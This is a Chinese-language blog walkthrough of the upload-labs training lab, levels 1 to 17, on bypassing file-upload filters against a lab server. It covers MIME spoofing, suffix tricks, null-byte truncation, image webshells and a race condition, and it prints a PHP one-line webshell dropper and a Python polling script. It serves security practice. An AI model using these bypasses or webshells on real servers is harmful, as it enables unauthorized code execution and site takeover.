upload-labs 1-17 关 / 文件上传手法练习

upload-labs(文件上传手法练习)

1 禁用 JS

不允许上传 .php 文件

image-20231116162246958

提示使用 js 检查

image-20231116162320792

禁用 js

image-20231116162459963

再次上传,成功

image-20231116162544680

连接蚁剑

http://10.9.47.241/upload/1.php

image-20231116162856816

2 更改 Content-Type

提示 mime 检查

image-20231116163002800

上传 2.php

http://10.9.47.241/upload/1.php

BurpSuite 抓包拦截,更改 Content-Type 为 image/jpeg

image-20231116163604599

放包,上传成功

image-20231116163656616

image-20231116163706571

蚁剑连接

image-20231116163751619

3 phtml

提示

image-20231116163818879

上传 3.phtml 一句话木马文件

.phtml 是一种文件扩展名,通常用于 PHP 混合 HTML(PHP Hypertext Preprocessor)文件。在某些情况下,服务器可能会配置为解析 .phtml 文件并将其作为 PHP 文件来执行。

http://10.9.47.241/upload/1.php

image-20231116164117283

4 多后缀

提示,禁止以下后缀

image-20231116164355083

网站使用了 apache,存在文件解析漏洞

当后缀名无法识别时,会再次向左识别前一个后缀

image-20231116165352082

上传一句话木马文件 4.php.gjl

蚁剑连接

image-20231116165733173

5 大小写

查看提示

image-20231116170011269

并且源码中没有转换为小写的过滤

大小写绕过

上传 5.PhP

蚁剑连接

image-20231116170051670

6 文件名加空格

源码缺少了收尾去空

image-20231116171100682

结尾加空格绕过

image-20231116171210578

image-20231116171242417

7 文件名加 .

源码中未限制删除文章末尾的点

image-20231116172043682

上传,抓包,在木马文件名后面加 .

image-20231116172220647

蚁剑连接

image-20231116172247933

8 文件名加 ::$DATA

源码未限制去除字符串::$DATA

php在window的时候如果文件名+“:: D A T A " 会把 : : DATA"会把:: DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA"之前的文件名

image-20231116172345804

image-20231116172812842

连接

image-20231116172849094

9 单次过滤

提示

image-20231116173146142

源码没有对文件重命名

image-20231116174254115

抓包拦截,在文件名 9.php 后面添加点空格点. .,过滤未循环执行,去掉最后一个点和空格,还剩一个点,而点前的文件名 9.php 不会像前面几关那样被重命名,php 后缀还在,可以被执行

image-20231116174827859

image-20231116173921317

10 双写后缀

提示

image-20231116174937844

查看源码

双写绕过 10.pphphp,当检测替换其中的 php 时,被断开的 php 重新拼接成后缀

image-20231116175825435

image-20231116175928521

11 %00 截断

源码

image-20231116200731814

截断使用条件

  • PHP<5.3.29,且 GPC 关闭

在 url 中 %00 表示 ascll 码中的 0 ,0x00 是十六进制表示方法,也是 ascii 码为 0 的字符,在有些函数处理时,会把这个字符当做结束符。

image-20231116201647194

image-20231116201724241

12 post 传参 00 截断

源码:

image-20231116201826269

比 11 关增加了文件重命名

php 后写一个字符占位

image-20231116220451342

image-20231116203013264

将 x 对应的地方改为 00

image-20231116203027905

放包,蚁剑连接

image-20231116203102998

13 一句话图片马

提示:

image-20231116203211890

jpg

生成一句话木马图片,在最后加入一句话木马(过滤只检查图片文件开头)

 copy kun.jpg/b+13.php/a kunkun.jpg

image-20231116204308574

直接上传文件

image-20231116210500238

由于是 .jpg 后缀,无法直接解析 php 代码

利用文件包含(无视后缀解析 php 代码)

http://10.9.47.241/include.php?file=upload/6320231116210429.jpg

image-20231116210509574

蚁剑连接

image-20231116210537647

png

制作图片马也可以右键编辑图片,直接在最后加入一句话木马

image-20231116210905293

image-20231116211545767

image-20231116211613240

GIF

image-20231116211702702

image-20231116211728592

14 一句话图片马

同 13 关

jpg

image-20231116211952662

png

image-20231116212202743

gif

image-20231116212237735

15 一句话图片马

同 13、14

jpg

image-20231116212407861

png

image-20231116212446464

gif

image-20231116212513646

16 二次渲染

上传图片后,服务器根据图片重新生成了新的图片

image-20231116213831633

漏洞点:比较上传前的图片和二次渲染后图片中相同的地方,在该未被二次渲染的部分写入一句话木马

GIF 图片未被二次渲染的地方比较多,其他类型的图片可能出现位数不够的问题

使用 010 editor 打开原 gif 图片

image-20231116223937268

上传 gif 图片,将二次渲染后的图片保存下来

image-20231116224501423

使用 010 editor 打开保存的 gif 图片

image-20231116223949057

对比相同部分(不要修改 开头部分,否则不会被识别为 GIF 图,无法上传)

image-20231116224016220

文件包含,蚁剑连接

image-20231116224052720

17 条件竞争

漏洞点

在上传文件源代码里面有校验上传的文件,文件直接上传,上传成功后才进行判断;如果文件格式符合的情况下,则重命名,如果文件格式不符合要求,就将文件删除。
由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在

利用其中第二种情况,发送大量文件上传请求,并发送大量的访问 php 文件的请求,在删除文件的间隙完成对 php 文件的请求,执行 php 命令

此处文件在不断上传,删除,因此无法使用蚁剑直接连接,可以将一句话木马的 php 语句替换为生成一句话木马的语句,当在删除的间隙 执行 php 文件时,会自动生成一个一句话 php 木马

17.php

<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>

漏洞复现

上传 17.php 文件,BurpSuite 抓包,发送到 Intruder 模块

image-20231117152842601

清除有效负载标记

image-20231117152918310

线程数调高,调为 20

image-20231117152951531

有效载荷选择 null,无限重复,开始攻击(无限上传 17.php)

image-20231117153021598

编写 Python 脚本请求执行 17.php,当成功请求到 17.php页面时,自动生成 shell.php 木马文件,脚本停止执行

import requests
url = "http://10.9.47.241/upload/17.php"
i=1
while True:
    print(f"[{i}]" + "尝试访问")
    i += 1
    res = requests.get(url)
    if res.status_code!=404 and "Warning" not in res.text:
        print(res.text)
        break

image-20231117153131683

蚁剑连接 shell.php

image-20231117153312042

  • 7
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值